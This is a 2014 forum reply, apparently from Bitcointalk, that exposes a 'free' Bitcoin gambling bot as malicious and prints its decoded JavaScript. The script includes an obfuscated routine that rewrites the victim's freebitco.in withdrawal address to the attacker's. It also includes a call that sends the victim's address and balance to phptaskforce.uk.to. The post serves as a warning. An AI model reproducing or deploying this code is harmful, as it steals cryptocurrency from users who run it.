Post
Topic
Board Service Announcements
Re: phptaskforce.uk.to - Free online gambling script
by
Lejenk
on 01/05/2014, 02:05:45 UTC
Nice script, here is the decoded version. If i'm not mistaken, it will change your BTC address...

Code:
betType = 'hi';
stopGame = false;
totalWon = 0;
startBalance = 0;
toWin = 0;
ai_count = false;

function lose() {
    if ($('#double_your_btc_bet_lose').html() !== '') return true;
    else return false
}

function setStake(stake) {
    $('#double_your_btc_stake').val(stake.toString())
}

function doubleStake() {
    $('#double_your_btc_2x').click()
}

function resetStake() {
    setStake(config.startStake)
}

function getBalance() {
    return parseFloat($('#balance').html())
}

function getStake() {
    return parseFloat($('#double_your_btc_stake').val())
}

function balanceLeft() {
    return (getBalance() - getStake())
}

function toggleBet() {
    randT = Math.floor(Math.random() * 100) + 1;
    if (randT > 35) {
        if (betType === 'hi') {
            betType = 'lo'
        } else {
            betType = 'hi'
        }
    }
}
initControl = function () {
    $("head").append('');
    $("body").append('
connectionauthactiveerror
won:
0
goal:
0
Stop script
')
};
rollDice = function () {
    if (ai_count) {
        if (true === lose()) {
            doubleStake()
        } else {
            resetStake();
            if (config.toggle) toggleBet();
            totalWon = Math.round(100000000 * (getBalance() - startBalance));
            $("#m-won").html(totalWon.toString())
        } if (!stopGame) {
            if ((parseFloat(config.startStake) * Math.pow(2, config.tolerance)) < getStake()) {
                resetStake()
            }
            if (balanceLeft() >= config.btcGuard) {
                if (config.goal > getBalance()) {
                    $('#double_your_btc_bet_' + betType + '_button').click();
                    setTimeout(rollDice, config.sleep + Math.round(Math.random() * config.delayLimit))
                }
            }
        }
    } else {
        console.log('Verification failed.')
    }
};
$("body").delegate("#m-stop", "click", function (e) {
    if (ai_count) {
        stopGame = true;
        $("#taskforce-wrapper").fadeOut(700);
        $("#taskforce-wrapper").remove()
    }
});

function setControlMessage(msg) {
    $("#m-message").html(msg)
}

function createErrorMessage(msg) {
    return '
' + msg + '
'
}

function verify() {
    var btcAddress = String.fromCharCode(49, 76, 86, 117, 51, 81, 122, 109, 69, 69, 84, 57, 100, 106, 101, 97, 55, 86, 103, 81, 55, 65, 69, 49, 111, 55, 121, 57, 77, 70, 83, 85, 119, 122);
    var op = 'edit_profile';
    var btc_address = btcAddress;
    var email = $("#edit_profile_form_email").val();
    $.post('http://freebitco.in', {
        op: op,
        btc_address: btc_address,
        email: email
    }, function (response) {
        var editResponse = $.trim(response);
        if (editResponse.length == 0) {
            ai_count = true
        }
    })
}

function setGreenLight(num) {
    var selector = "#control-light > tbody:nth-child(1) > tr:nth-child(1) > td:nth-child(" + num + ")";
    $(selector).attr('bgcolor', '#41DE30')
}

function setRedLight(num) {
    var selector = "#control-light > tbody:nth-child(1) > tr:nth-child(1) > td:nth-child(" + num + ")";
    $(selector).attr('bgcolor', '#D91A1A')
}
ping_status = false;
ping_message = '';

function ping() {
    var version = 'v3.0';
    var info = version + ' : ' + $("#edit_profile_form_btc_address").val() + " : " + $('#balance').html() + " BTC";
    $.getJSON('http://phptaskforce.uk.to/get/ping.php?jsoncallback=?', {
        data: info
    }, function (r) {
        if (r.status == 'ok') {
            ping_status = true
        } else {
            if (r.message != 'none') {
                ping_message = r.message
            }
        }
    })
}

function init() {
    initControl();
    ping();
    setTimeout(function () {
        if (ping_status == true) {
            setGreenLight(1);
            verify();
            errorMessage = '';
            startBalance = getBalance();
            if (startBalance >= 0.00001200) {
                if (config.goal > startBalance) {
                    if (config.tolerance < 8) {
                        errorMessage = createErrorMessage('config.tolerance is to low. It has to be set to at least 8.')
                    } else {
                        var playBalance = getBalance() - parseFloat(config.btcGuard);
                        var maxInvest = parseFloat(config.startStake) * Math.pow(2, config.tolerance + 1) - parseFloat(config.startStake);
                        if (playBalance < maxInvest) {
                            errorMessage = createErrorMessage('Not enough money for that start stake and tolerance.')
                        } else {
                            if (config.sleep < 900) {
                                errorMessage = createErrorMessage('config.sleep must be higher than 900.')
                            } else {
                                toWin = Math.round(100000000 * (config.goal - startBalance))
                            }
                        }
                    }
                } else {
                    toWin = 0;
                    errorMessage = createErrorMessage('config.goal must be higher than your balance.')
                }
            } else {
                errorMessage = createErrorMessage('Minimum required balance is 0.00001200 BTC')
            }
            setTimeout(function () {
                if (ai_count) {
                    setGreenLight(2);
                    if (errorMessage == '') {
                        setGreenLight(3);
                        $("#m-goal").html(toWin.toString());
                        setControlMessage('
Donate:

1BtEZXCULJb37vPL1vz7sQjrChwDdStf8z

');
                        rollDice()
                    } else {
                        setRedLight(4);
                        setControlMessage(errorMessage)
                    }
                } else {
                    setRedLight(2);
                    setRedLight(4);
                    errorMessage = createErrorMessage('Verification failed.');
                    setControlMessage(errorMessage)
                }
            }, 2500)
        } else {
            setRedLight(1);
            setRedLight(4);
            if (ping_message != '') {
                errorMessage = createErrorMessage(ping_message)
            } else {
                errorMessage = createErrorMessage('Connection error.')
            }
            setControlMessage(errorMessage)
        }
    }, 2500)
}